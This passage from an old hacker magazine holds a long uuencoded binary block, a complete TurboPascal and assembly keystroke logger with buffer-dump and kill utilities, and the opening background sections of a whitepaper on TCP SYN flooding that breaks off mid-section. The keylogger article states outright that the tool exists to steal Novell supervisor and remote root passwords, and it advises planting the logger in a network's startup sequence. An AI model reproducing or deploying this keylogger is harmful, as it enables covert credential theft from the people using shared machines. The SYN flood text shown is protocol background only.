M=WN\3C$W/#XG<=WC48GO0?%_+;1X%,7'?"^*CWD,Q6_RE\4.Z!'2M8TD0+BA M7K<(K‑1UV(?X`&]PUT'WA++GX`J&)R2E2#'DT(RTGJIG+\VPVQ,T>0;3$VI, M$O9X@B,+44^HR$)K\BE9:&4;87@549047L4>E!/F)DH)\]TH(\P‑E!#F.LH' M\T.D:X:,`,_0WT2>_G7^‑N*KO,6%_0`9``X70<!U?MCC2R_DCHC?\YPXZWR3 M(B[H064T7Q7#O1HN&5&&!!E"9(>R7Y#]$HD($I%(OR#]B$#A3[%$$9‑$L2:1

M&@O/R@2N19V>E\CYHJ9BHJGA69G`I9FCBQ)9+"953)+"2R9PI:+TOD3N%\LJ M)F7AU4YNYH#BR‑_EDA+1U/F<)I$:F\_!:O%N:+.‑QP>3K!AX%4Z^\>"T2"4/ M%).I/%"9K(C1(K<Z2%DM9<IJ,HMSOIC1U#<1J;&+F1K#1%//V9KZDXUM;ELU

M]A4B4*>‑&FN27\2O(Q2316'SGEOG35)AHU:%?8ULZA3(*")?TNL6T!9QQ/^. MPQ80^80"P9$U];8%>>/S&K>3:AF1‑35KK:D:(O!::&H$14ZJ1WA2K:/(:T(' M3^P%1/8:M]?$P%Y:&RFK%^S8E@M2AG4>VX+G@E_M‑A]DDNI;TGF5[1J[E,'Y M7!/G]3,BL.ZD.'MY]K)$H%H<AJO%8==L1XKLL+E<N\VEC,‑,E,\4NR`J_#&J MWJKRN(/`N]%.*@R_)!6V_\,*NX$B5]@?‑E"\]EN\)E7"`PKD%MK#![2:!BH3 MAU73>!5`CDB5.<`K;$XB<Z(V,#&4Q73C?6[%*=NP:]+MMH%BXEA`<>1K8EU_ M(M+/3+LBQ3$4TP:*B6,!Q;NQF*ZQ:%N&0'&&9A9.$<]^(ROO?(UI67BY<$69 M64V\=[BBS&Q2(O"NP"O9(I'@9&FF;[+4(C‑]#Z=E$@D^G`8[F8"=2P*OB>9T MU_CPR‑#P!#E(2##030\6ZTJT>)ZZ'6I@NV@*=TV>2@PWY"B]DH]0:&#OY#OD MWD"<S?,A=I4_4^]Q7T=X7V^@3@=$3WN`^]FR:X#]A7R/WN3S=+G9PG;ZORH, MJLHR?X/NL\#@%?=?WI4^HV?X`"WPS^D2[_05R1&EWWH:>MTZI[A‑;WON1#G# MG[H]\1+O7@]]J"']&+HCVN45_BBTW>J0OA7M\8+U*/27U?.\H'$Q)W3/7[CR

M<Y*J"8._15)N>[TQ0`+=Q.ULMK(GZ3J%$>);68@+B8$DUG:5;K=T=URQKHK1 ME,0XH:SP$XIJ77;'BN?5`]*"=4*Y*S",!>L_4$L#!!0````(`/92,!W$D[.D M0PD``"#(!0`,````5$5,14‑!4D0N4%).[=V_:B‑''`?P75RH":<'D$%="E?. M'80+!)L+^`72I$^=PAQ7.EB0%].CZ!%4JC#:Z(]]EG=G[;E!N_9Z/M]"K&3D MXE,,W]%J?II<37[^Y^.O7S:/OUQ‑SKY].C__<W+V]?S+Y.SOCY]_^ZN0YW/O M=%L=‑:OBO843IPZ<KH_[7S\7G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=. MG#AQXL2)$R=.G#C]D%/+‑WTX<>+4H5/SE6U&G#AQXL2)$R=.G#AQXL1I<$ZM/?"<TS4G3AT[+6JOE'‑.UYPX<>+$B1,G3IPX<>(T1*?R8`^\Y,2)4S].\\.G MG#AQXL2)$R=.G#AQXL1IN$XGNSWP7<&)$Z<>G6;;RU‑.G#AQXL2)$R=.G#AQ M>MM.FQW>?U6U'E?5ZK*J%IPX<>+$B1,G3IPX<>+$B1,G3F&G_9WB‑2=.G#AQ MXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)TXP3)TZ<.''BQ(D3)TZ< M.''BQ(D3)TZ<.+V_>3VA<.+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$ MB1.GMQU.G#AQ&K+3M'J2!2=.G+IW.GWZEP4G3IPX<>+$B1,G3IPXO?%S0`M. MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=. MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXI3E?‑]R;E[/‑2=.G#AQ MXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G%X_G#AQXL2)$R=.G#AQXL2)$R=. MG#AQXL2)$Z>FTZAZS+S@Q(E3+T[‑MRPX<>+4N]/!BL6)$R=.G#AQXL2)$R=. MG(;C‑*[:PXD3IVZ</@3?Y_,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G M3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G M3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G M3IPX<>+$J1E.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=. MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=. MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=. MG#AQXL2)T_'#B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$ MB1,G3KDY/1].G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=. MG#AQXL2)$R=.G)X/)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''B MQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''B MQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''B MQ(D3)TZ<.''BQ.GXX<2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=. MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=. MG#AQXL2)$R=.G#C%AQ,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX M<>+$B1,G3IPX<7K‑<.+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G M3IPX<>+$B1,G3IPX<>K;:<PISFG&*<9I‑.<4XW2RX!3C5"XYQ3@5*TX13K/B MAE.$T[RXX!1R.JEV6>Z=‑JOXE‑/+3N4RI4#EY[19Q1,*5!9.L_N+O=‑‑2H'* MT.DBI4!EZ#1‑*5`9.HU3"E2&3DD%*D.GI`*5H5.94J`R=$HJ4#DZI12H')U2 M"E2.3BD%*D>GE`*5B=‑^)WSOE%*@<G1**5`Y.I4)!2H3I\7^:N^44J"R=$HH M4%DZ)12H+)T2"E263@D%*DNGA`*5I=.V0%6‑W'&J.96;`L7I9:=M@>(4X11< MQ4\YU9U^YQ3E%"3AQ(D3)TZ<.!6<.''BQ(D3)TZ<.''BQ(D3IW?GM"[O3E:C MY7@QG5_.;HOUCFU[.VK[?8/M/:G=`R=.G#AQXL2)$Z<7G1Z^T\.)$R?K$R=. MG+)V.N$4Y33B%.4TYA3E‑.44Y71Y[^3S\>>=_N44Y?3TL"*G%J=RR2G&J7:8 MFE.+4^UP/J?O]X.WUX]S_VO#'CBU.‑6&AW!J<;K@%.5TPRG*J3;K@5/8J5QR

MBG&JSZ+A%':JSS;B%':JS\KB%':JSU[C%':JU2=.+4ZU^L2IQ:D^*HM3T*E< M<HIQ:HSRXQ1T:HR&Y!1T:HP:Y11T:HRNY11TJM<G3G6G<7C,&J>@4V/2**>@ MTY+3"TXMX<2)$R=.G(;N]'`^8\Z)$Z?>G(K'.0^<.''BQ(E39DZE\P@_Y.0< M$"=.G#B];:>'7?""$R=.?3E]S]ZI"H03)TZ=.AT\MSYQXL2)$Z?!AA.G5W;R M^7C3Z;&#S]UOX<2I'Z>#Q>G@FA,G3IPX<>+$B1,G3IPX#<QIMP%><^+$J??U MZ0,G3IPX<>+$B1,G3IPX<>+TWIT:OP?$B1,G3IPX<>+$B1,G3IPX<>+$B1,G M3IPX<>+$B1,G3@.X'_SD=TDX<>+$B1,G3IPX<>+$B1,G3IPX<>K$R;Q#3IQZ M=VI](R=.G#AQXL2IX,2)4[)3U9H[3IPX=>.4&DZ<.''BQ(D3)TZ<.''BQ(G3 MD,.)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQ MXL2)$R=.G#AQXL2I4Z?;ZJA9%>\MG#AUX%0()TZ<.''B))PX<>+$B1,GX<2I MB_PT.?OZQ^3J?U!+`P04````"`"*=B\=14[.>F0%``#,%P``#````%1%3$5# M05)$+E,P,9682V_<‑A#'[P;\'8B]‑^'P)0DY!(JLV&KL]6)7Z[B]%(9K‑#DD M*=Q>TD]?OF;T('>UBP4$:H?DC\/Y#TGQ7?_T_:\?O^R>O[Q\>_KWZS‑[@#>" MO[#=R^O7EW]8UUU>]/7Z^OZ/77/3WM5]US"PO_KR8G?3MCWC]@=@*LE*84IF M[/_=[RV34&@&7`.K5%4QK:MB^._RHN[[+5M=M;MFVVWZ[GZ]8F#8JMO=%Z4M M['Y^?_[RAMV]?/OQ^I,U3Z]_KCS5P?CEQ:_[=<.DX)QIX/BNM'T79GB7,[NO M+^E=BUE]Y=Z5>]_4VYY)X^I7]J%D91^%==%VIX,OWNTPGC`R].FAOMVW*U:Q ME6)W‑_]‑QAUJ//;UK:^0L[T_9+%SU5VOZ_Y^ZVL\PLH.R8W0N>U^$FOVOVW"

M``+(UU+EO%8TSEB;;AV[=;/GIR24R‑G)H‑;UG44!9ZO[7>‑')&(#&T0/LQW: MD=O6JT_6K$MGMG5`E&2/0"`@G`@4"(0LL$8@C(';MNEK9'+$:0>.D6_75U$" M/OI!![;(0%>2F8)K)HMC$H@J3F=W9O:!‑EYVQ3P\^_<3>PDS^TP.>SL7Q@E: M)CV1'(CKW0(S5'1!"+[Z^3=8$DM!^+C?M:X_$1ND00!K+DIGGD<]`#D!7:E8 M`CYL‑LCC69Y$'L_R1(D\7UKD7:^O(L_73WDJ\D29YQGBF9/\:QKDF2Q/(\_D MYU/0?+H2+/&NZK[&"159H,`)%7D'*8"^M*B8[:Y'!_,!+‑'!`P$D!WUID=?< M?D)>WK\">0?\HXP0)V7$YRWYET\(@[Q)0L15*62F4YHI<.E)5B6)&QF34+E% M3`*3%;A%[‑BJ‑%LQW'(MM8Y+GU'C)6/8PX1@?W_$BHY;F>S:TM0;K.4>OCNW MS6\;ZT19Q#U!:`9*LD*Y4=UVZ]8VD=8HK"&49*'#O$:K$=%3@SZ/K30/H2T? M;6)#`UF‑FAX/W@?G0XD[F(I.#+%S]K##B3C!$3:,1`RP!:74#C;9+B<L9Y;3 M[1+R2@!4@BI)">(<)8AQ@$]2`C])"3*K!#BF!$Y*@(P2@)0`&24`*0%2)0`I M`<Y2`BPH`7)*`%("G*4$.*X$.*($VDQEP243IO+=%4P)2Z@.2F'3‑6":4ATZ M=>Y//8_NW7+B%B[IY9R5Q@"+FAUJ^F‑@B3'R)7]>5TPN["<?;'>A96GG"+A*

M3B#<5;!3I]R.,C]V!EYQ!D_'(_5!'IZ#$YXAGCF#Y\Z1YAC/'8‑‑CJ>)I\_@ M%:O8\A!/N@HYGB*>0EZQQ/,'GM#R$,\%6.5XM+K[D@KG@05>_&R0QX`NPC(' M%`04^(`3@$X0XAC0A5CD@+1J^=*)$:R=X.$8SX48<CQ./'X&S_G'C_'*54`E MO!)7+5_R7T'*QG!!H1(SWG57B#FNBODNW'`4GR<\QX0_%2<PX?.X,J9[BJ//

M&E\Z%0>8[WE<$;,]Q6G"Z3‑P_&VW[C'E\T@3$SY%*D+25VRQA/2?5+%E%J=C MOJ<X23B).%C"W36W6TSX/$_%=$]Y@GCB]!FMU=MM[U<U<9@I8\:G3"`FG,&4 MF/)YG(@)G^(XX?@9.($9G\=!S/<)+G[B#"<55>%J,_[$Z=O'GKFQTF7@Y!:P M<#H%&.XN/G?;‑L;'D/;]K=[<@C%$BTX^)Q,+95*T^$.=\)X/MXG!4B679A/+ MY'8+.;1MC>XJAU$/CU%OHXT`XD(VL0QW=X‑%3[],\A:\,\#>:`L/I=&,XGOX M7AA9Z$9UN/$8>RKT.',32VBMIQQ!‑Y#A9G88]<A2SBR3.Q[LC:XHZ+(BL=`R MC;VIY`(@M:@HD[%V_"‑O(56‑+(.J@L^CL:FI930V,9FW$(7_`5!+`0(4`!0` M```(``Q2,!V^G@!LQ@@``.P@```,``````````$`(`````````!414Q%0U)$ M,2Y!4TU02P$"%``4````"`!*4C`=CCHX#\L(``#X'P``#``````````!`"`` M``#P"```5$5,14‑21#(N05‑‑4$L!`A0`%`````@`FT0N'<0;&V`*!0``/!<` M``P``````````0`@````Y1$``%1%3$5#05)$+D(P,5!+`0(4`!0````(`*)$ M+AW[.7CW$P4````@```,````````````(````!D7``!414Q%0T%21"Y#35!0 M2P$"%``4````"`!K4C`=UE#(="T(````'```#````````````"````!6'``` M5$5,14‑21#$N0T]$4$L!`A0`%`````@`;5(P'=:1H<KU!P```!X```P````` M```````@````K20``%1%3$5#4D0R+D‑/1%!+`0(4`!0````(`$!#'!UNJ^N< MP`0``&(3```*``````````$`(````,PL``!024‑214<N15%54$L!`A0`%``` M``@`:U(P'2C2B*Y<````?`$```P``````````0`@````M#$``%1%3$5#4D0Q M+D524E!+`0(4`!0````(`&U2,!TIRVCV9P```)`#```,``````````$`(``` M`#HR``!414Q%0U)$,BY%4E)02P$"%``4````"`!K4C`=#LVE_>8!``"G!``` M#``````````!`"````#+,@``5$5,14‑21#$N2$584$L!`A0`%`````@`;5(P M'=V65G;,`0``800```P``````````0`@````VS0``%1%3$5#4D0R+DA%6%!+ M`0(4`!0````(`&M2,!T#9[*E[!@```1V```,``````````$`(````‑$V``!4 M14Q%0U)$,2Y,4U102P$"%``4````"`!M4C`=SK(OU808``"#=0``#``````` M```!`"````#G3P``5$5,14‑21#(N3%‑44$L!`A0`%`````@`,Z`M'>O)T?/$ M````M0$```P``````````0`@````E6@``%1%3$5#05)$+DY%5%!+`0(4`!0` M```(`)=`+AU%6_@T604``#X‑```,````````````(````(‑I``!414Q%0T%2 M1"Y00T)02P$"%``4````"`#V4C`=Q).SI$,)```@R`4`#````````````"`` M```&;P``5$5,14‑!4D0N4%).4$L!`A0`%`````@`BG8O'45.SGID!0``S!<` M``P``````````0`@````<W@``%1%3$5#05)$+E,P,5!+!08`````$0`1`‑@# (```!?@``````

`

end

sum ‑r/size 61640/45861 section (from "begin" to "end")

sum ‑r/size 58373/33263 entire input file

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Keytrap Revisited

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 12 of 18

COMBOKEY and the Simplistic Art of PC Hacking

‑or‑

KeyTrap Revisited

by Sendai

(with apologies to Dcypher)

NOTE: Of course I take no responsibility when you use this and get kicked out of school or something stupid. Besides, why would you be so stupid as to get caught in the first place? :‑) So be careful, and have fun. Don't get stupid.

WHAT YOU NEED FOR ANY OF THIS TO MAKE SENSE:

* At least a reading knowledge of TurboPascal and 8086 assembly * A tolerable understanding of how the PC actually works or * A copy of Queue's "MS‑DOS Programmer's Reference"

* A copy of that yellow‑spined "Indespensable PC Hardware Reference" book

ON WITH IT...

It was with a little dissatisfaction that I read Dcypher's KeyTrap article the other day (so I'm back‑logged a few issues, so sue me!) I've been foolin' around with a version of this that I first wrote about five years ago during high school, and well, I thought mine was a little easier to understand.

So I'm gonna show you my version, actually explain how the damn thing works, and hope somebody out there has their day brightened by using this program.

Note that the only reason I wrote this thing was to record passwords on a Novell net. It will record all keypresses, but it really has limited use other than hacking.

Fun fact: With this program, it has taken me an average of about six hours to snag supervisor on every Novell net I've nailed. And I'm sure you can do better. ;‑)

PC KEYBOARD HANDLING 101

Okay, a quick review for those PC newbies out there. When a key is pressed on a PC, it generates an interrupt 9 (keyboard interrupt), causing the machine to look up the address of the 9th Interrupt Service Routine. The ISR is typically in ROM; the interrupt vector itself is not.

A key recorder is a program that simply latches itself into the interrupt 9 handler by replacing the old vector with its own address. By doing this, every time a key is pressed, we know about it.

ENTER COMBOKEY (That'd be the key recorder)

I differ with my strategy from Dcypher in that I don't bother going directly to the keybard hardware. COMBOKEY just goes ahead and calls the old ISR and then looks in the BIOS keyboard buffer to see what the key was. Yeah, you don't get the funky‑ass key combinations like control‑shift‑right‑alt‑F2‑Z, but hey, I'm just after the passwords.

When a new key is pressed, it's dumped in the buffer. When the buffer is full, nothing happens. I'll leave writing it to a file as an exercise to the reader.

My favorite feature, if I may say so myself, is the fact that COMBOKEY has an API in it, sort of. Interrupt 255 is also latched and provides the "user" an interface to the presently running copy of COMBOKEY. But not just anyone can go poking into 255 to kill COMBOKEY or get a buffer dump or whatever. First, you gotta send a combination.

Look at the "const" section of COMBOKEY and you'll see a constant array of four bytes. Change these numbers to whatever the hell you want. To use the COMBOKEY interface you need to send each of these bytes sequentially in AX to ISR 255. Look at the "DoCombo" procedure in Dump or Kill to see what I mean.

After you send the combo, you send one more byte that represents the command.

Dump buffer: AX=C0h Dumps the buffer to a chunk of memory at ES:DI. Get info: AX=C2h Sends a TinfoRec (see source) to ES:DI. Kill: AX=C1h Deactivates the recorder.

There are two additional programs following: Dump and Kill. These just use the interface to do their appropriate actions.

THE PROPER ETIQUETTE OF COMBOKEY

There's a good deal of social engineering involved with using COMBOKEY. Since it works on only the machine you put it on, you have to know where to put it in the first place to be most effective. (Or be really resourceful and put it on every machine around.)

To maximize your amusement, get the supervisor password first, and then put this program in the startup sequence of the network. Then go nuts.

This program gets REALLY fun when your net is equipped with TCP/IP apps like Telnet, and some moron has their home machine hooked up to the Net, and they actually log into it with root from your net. Instant party.

NEAT TRICKS TO TRY

If I ever get around to it, it'd be cool to use the IPX interface to actually broadcast the keystrokes over to a waiting machine for instant feedback.

The next trick to try is to maybe build a hardware version of this with a little microcontroller. A Motorola 68HC11 would do nicely. This would get rid of the pesky problem of reseting the machine or turning the power off.

Ah well. Comments and the like to jsrs@cyberspace.com. Happy hunting.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

{ Source notes:

This'll compile on TurboPascal 6 or better. Might even work with 5. Why Turbo? Cause it generates damn tight code, and it's much more readable for the newbies than all assembly. }

{ComboKey ‑ It's a TSR, so we gotta do the mem setup. }

{$M 1024, 0, 2100}

program ComboKey;

uses Dos; { For Keep() }

const

DUMP_BUFFER = $C0;

KILL_RECORDER = $C1;

GET_INFO = $C2;

BUFSIZE = 2048; { In bytes, NOT paragraphs! } DISPLAY_MAX = 100;

combo: Array[0..3] of Byte = ( 01, 01, 19, 74 );

type

PBuf = ^TBuf;

TBuf = Array[0..BUFSIZE‑1] of Byte;

PInfoRec = ^TInfoRec;

TInfoRec = record

buffer_size: Word; { Word is 16 bit, unsigned } overwrite: Word;

buffer_ptr: Word;

end;

var

old9o, old9s: Word; { Must be in this order! }

wptr: Word absolute $40:$1c; { Ptr to next avail slot in kbd buffer } q_top: Word absolute $40:$80;

q_bot: Word absolute $40:$82;

buffer: PBuf;

buf_ptr: Word;

overwrite_ctr: Word;

last_wptr: Word;

tumbler: Byte; { How many numbers in the combo right so far? }

procedure SetVector( int: Byte; s, o: Word);

begin

asm

push ds

cli

mov ah, 25h

mov al, int

mov ds, s

mov dx, o

int 21h

sti

pop ds

end;

end;

procedure NewInt09(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word); interrupt;

var

offset: Word;

c: Byte;

l: Word;

ctr: Word;

begin

{ First call the old handler. Do the pushf, cause this is an interrupt handler. }

asm

pushf

call dword ptr [old9o] { Since old9s is next, it works } cli

end;

{ This isn't a press, but a release ‑ ignore it. } if last_wptr = wptr then Exit;

last_wptr:=wptr;

{ Did the queue just wrap? }

if (wptr = q_top) then offset:=q_bot‑2

else offset:=wptr‑2;

Inc(buf_ptr);

if (buf_ptr = BUFSIZE) then begin { we'd write it, but oh well. } buf_ptr:=0;

Inc(overwrite_ctr);

end;

buffer^[buf_ptr]:=Mem[$40:offset];

asm

sti

end;

end;

{ Here's the interface system. Don't bother saving the old $FF, cause who uses it anyway?! }

procedure NewIntFF(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word); interrupt;

var

command: Word;

res, rdi: Word;

infoptr: PInfoRec;

l: Word;

begin

command:=AX;

res:=ES;

rdi:=DI;

if tumbler=4 then begin { we have a winner... } tumbler:=0;

asm

sti

end;

case command of

DUMP_BUFFER: begin asm

push ds

mov cx, BUFSIZE

mov es, [res]

mov di, [rdi]

mov ax, [WORD PTR buffer+2]

mov ds, ax

mov ax, [WORD PTR buffer]

mov si, ax

cld

rep movsb

pop ds

end;

end;

KILL_RECORDER: begin SetVector(9, old9s, old9o); end;

GET_INFO: begin

asm

mov es, [res]

mov di, [rdi]

mov ax, BUFSIZE

mov es:[di], ax

mov ax, [overwrite_ctr]

mov es:[di+2], ax

mov ax, [buf_ptr]

mov es:[di+4], ax

end;

end;

end;

asm

cli

end;

end;

if command=combo[tumbler] then Inc(tumbler) else tumbler:=0;

end;

begin

asm

mov ah, $35

mov al, 9

int $21

mov ax, es

mov old9s, ax

mov old9o, bx

end;

SetVector(9, Seg(NewInt09), Ofs(NewInt09)); SetVector(255, Seg(NewIntFF), Ofs(NewIntFF));

buffer:=New(PBuf);

buf_ptr:=0;

overwrite_ctr:=0;

last_wptr:=0;

tumbler:=0;

Keep(0);

end.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

{ Kills the keyrecorder }

program Kill;

const

combo0 = 01;

combo1 = 01;

combo2 = 19;

combo3 = 74;

KILL_RECORDER = $C1;

procedure ResetCombo;

var

l: Word;

begin

for l:=1 to 4 do asm

mov ax, 0

int $ff

end;

end;

procedure DoCombo;

begin

asm

mov ax, combo0

int $ff

mov ax, combo1

int $ff

mov ax, combo2

int $ff

mov ax, combo3

int $ff

end;

end;

begin

ResetCombo;

DoCombo;

asm

mov ax, KILL_RECORDER

int $ff

end;

end.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

{ Syntax:

DUMP DESTFILE.FIL

This'll dump the buffer information and contents to the file. If no file is given, it goes to the screen. }

program Dump;

const

combo0 = 01;

combo1 = 01;

combo2 = 19;

combo3 = 74;

DUMP_BUFFER = $C0;

GET_INFO = $C2;

type

PInfoRec = ^TInfoRec;

TInfoRec = record

buffer_size: Word;

overwrite: Word;

buffer_ptr: Word;

end;

var

info: TInfoRec;

buffer: Array[0..8191] of Byte;

l: Word;

f: Text;

procedure ResetCombo;

var

l: Word;

begin

for l:=1 to 4 do asm

mov ax, 0

int $ff

end;

end;

procedure DoCombo;

begin

asm

mov ax, combo0

int $ff

mov ax, combo1

int $ff

mov ax, combo2

int $ff

mov ax, combo3

int $ff

end;

end;

begin

Assign(f, ParamStr(1));

Rewrite(f);

ResetCombo;

DoCombo;

asm

mov ax, SEG info

mov es, ax

mov di, OFFSET info

mov ax, GET_INFO

int $ff

end;

writeln(f,'Buffer size: ',info.buffer_size); writeln(f,'Buffer ptr: ',info.buffer_ptr); writeln(f,'Overwrite: ',info.overwrite);

DoCombo;

asm

mov ax, SEG buffer

mov es, ax

mov di, OFFSET buffer

mov ax, DUMP_BUFFER

int $ff

end;

for l:=0 to info.buffer_ptr do begin

write(f, Char(buffer[l]));

if buffer[l] = 13 then write(f,#10);

end;

Close(f);

end.

Project Neptune

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 13 of 18

[ Project Neptune ]

by daemon9 / route / infinity

for Phrack Magazine

July 1996 Guild Productions, kid

comments to route@infonexus.com

This project is a comprehensive analysis of TCP SYN flooding. You may be wondering, why such a copious treatment of TCP SYN flooding? Apparently, someone had to do it. That someone turned out to be me (I need a real hobby). The SYNflood Project consists of this whitepaper, including anotated network monitor dumps and fully functional robust Linux sourcecode.

‑‑[ Introduction ]‑‑

TCP SYN flooding is a denial of service (DOS) attack. Like most DOS attacks, it does not exploit a software bug, but rather a shortcoming in the implemenation of a particular protocol. For example, mail bombing DOS attacks work because most SMTP agents are dumb and will accept whatever is sent their way. ICMP_ECHO floods exploit the fact that most kernels will simply reply to ICMP_ECHO request packets one after another, ad inifintum. We will see that TCP SYN flood DOS attacks work because of the current implementation of TCP's connection establishment protocol.

‑‑[ Overview ]‑‑

This whitepaper is intended as a complete introduction to TCP SYN flooding (refered to hereafter as SYN flooding). It will cover the attack in detail, including all relevant necessary background information. It is organized into sections:

Section I.TCP Background Information

Section II.TCP Memory Structures and the Backlog

Section III.TCP Input Processing

Section IV.The Attack

Section V.Network Trace

Section VI.Neptune.c

Section VII.Discussion and Prevention

Section VIII.References

(Note that readers unfamiliar with the TCP/IP protocol suite may wish to first read ftp://ftp.infonexus.com/pub/Philes/NetTech/TCP‑IP/tcipIp.intro.txt.gz)

‑‑[ The Players ]‑‑

A: Target host

X: Unreachable host

Z: Attacking host

Z(x):Attacker masquerading as the unreachable

‑‑[ The Figures ]‑‑

There are a few network transaction figures in the paper and they are to be interpreted as per the following example:

tick host a control host b

tick:

A unit of time. There is no distinction made as to *how* much time passes between ticks, just that time passes. It's generally not going to be a great deal.

host a:

A machine particpating in a TCP‑based conversation.

control:

This field shows any relevant control bits set in the TCP header and the direction the data is flowing

host b:

A machine particpating in a TCP‑based conversation.

For example:

1 A ‑‑‑SYN‑‑‑> B

In this case, at the first refrenced point in time, host a is sending a TCP segment to host b with the SYN bit on. Unless stated, we are generally not concerned with the data portion of the TCP segment.

Section I.TCP Background Information

TCP is a connection‑oriented, reliable transport protocol. TCP is responsible for hiding network intricacies from the upper layers. A connection‑oriented protcol implies that the two hosts participating in a discussion must first establish a connection before data may be exchanged. In TCP's case, this is done with the three‑way handshake. Reliability can be provided in a number of ways, but the only two we are concerned with are data sequencing and acknowledgement. TCP assigns sequence numbers to every byte in every segment and acknowledges all data bytes recieved from the other end. (ACK's consume a sequence number, but are not themselves ACK'd. That would be ludicris.)

‑‑[ TCP Connection Establishment ]‑‑

In order to exchange data using TCP, hosts must establish a connection. TCP establishes a connection in a 3 step process called the 3‑way handshake. If machine A is running a client program and wishes to conect to a server program on machine B, the process is as follows:

fig(1)

1 A ‑‑‑SYN‑‑‑> B

2 A <‑‑‑SYN/ACK‑‑‑ B

3 A ‑‑‑ACK‑‑‑> B

At (1) the client is telling the server that it wants a connection. This is the SYN flag's only purpose. The client is telling the server that the sequence number field is valid, and should be checked. The client will set the sequence number field in the TCP header to it's ISN (initial sequence number). The server, upon receiving this segment (2) will respond with it's own ISN (therefore the SYN flag is on) and an ACKnowledgement of the clients first segment (which is the client's ISN+1). The client then ACK's the server's ISN (3). Now data transfer may take place.

‑‑[ TCP Control Flags ]‑‑

There are six TCP control flags. We are only concerned with 3, but the others are included for posterity:

*SYN:Synchronize Sequence Numbers

The synchronize sequence numbers field is valid. This flag is only valid during the 3‑way handshake. It tells the receiving TCP to check the sequence number field, and note it's value as the connection‑initiator's (usually the client) initial sequence number. TCP sequence numbers can simply be thought of as 32‑bit counters. They range from 0 to 4,294,967,295. Every byte of data exchanged across a TCP connection (along with certain flags) is sequenced. The sequence number field in the TCP header will contain the sequence number of the *first* byte of data in the TCP segment.

*ACK:Acknowledgement

The acknowledgement number field is valid. This flag is almost always set. The acknowledgement number field in the TCP header holds the value of the next *expected* sequence number (from the other side), and also acknowledges *all* data (from the other side) up through this ACK number minus one.

*RST:Reset

Destroy the referenced connection. All memory structures are torn down.

URG:Urgent

The urgent pointer is valid. This is TCP's way of implementing out of band (OOB) data. For instance, in a telnet connection a `ctrl‑c` on the client side is considered urgent and will cause this flag to be set.

PSH:Push

The receiving TCP should not queue this data, but rather pass it to the application as soon as possible. This flag should always be set in interactive connections, such as telnet and rlogin.

FIN:Finish

The sending TCP is finished transmitting data, but is still open to accepting data.

‑‑[ Ports ]‑‑

To grant simultaneous access to the TCP module, TCP provides a user interface called a port. Ports are used by the kernel to identify network processes. They are strictly transport layer entities. Together with an IP address, a TCP port provides provides an endpoint for network communications. In fact, at any given moment *all* Internet connections can be described by 4 numbers: the source IP address and source port and the destination IP address and destination port. Servers are bound to 'well‑known' ports so that they may be located on a standard port on different systems. For example, the telnet daemon sits on TCP port 23.

Section II.TCP Memory Structures and the Backlog

For a copius treatment of the topic of SYN flooding, it is necessary to look at the memory structures that TCP creates when a client SYN arrives and the connection is pending (that is, a connection that is somewhere in the process of the three‑way handshake and TCP is in the SYN_SENT or SYN_RVCD state).

‑‑[ BSD ]‑‑

Under BSD style network code, for any given pending TCP connection there are three memory structures that are allocated (we do not discuss the process (proc) structure and file structure, but the reader should be aware that they exist as well.):

Socket Structure (socket{}):

